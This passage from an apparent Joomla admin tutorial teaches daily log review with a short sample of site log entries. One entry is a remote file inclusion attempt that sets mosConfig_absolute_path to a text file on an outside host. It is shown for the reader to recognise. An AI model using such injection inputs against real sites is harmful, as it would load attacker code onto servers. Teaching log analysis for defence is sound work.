Learning to Read the Log

The logs should be reviewed daily for issues. These may be system issues, or attacks in progress, or you may see just for knowledge where your users are looking.

Here is an example. Let's see if you can find the issues:

[xx.xx.xx.52 - Internet Explorer - 4/23 13:06]
/index2.php?option=com_content&do_pdf=1&id=6
[xx.xx.xx.155 - Internet Explorer - 4/23 13:00]
//?mosConfig_absolute_path=http://www.cdpm3.com/test.txt???
[xx.xx.xx.202 - Firefox - 4/23 12:53]
/favicon.ico
[xx.xx.xx.82 - Internet Explorer - 4/23 12:45]
/index.php?option=com_docman&task=search_form&Itemid=27

This is not a common log format file from Apache, but a log file from a site. It records a lot of the same information. This particular log is generated from one of my favorite statistics package, BSQ Squared.

Reading my log file inside Joomla! using BSQ gives me a ton of information to indicate a lot; let's pick one entry. The log is as follows:

[xx.xx.xx.82 - Internet Explorer - 4/23...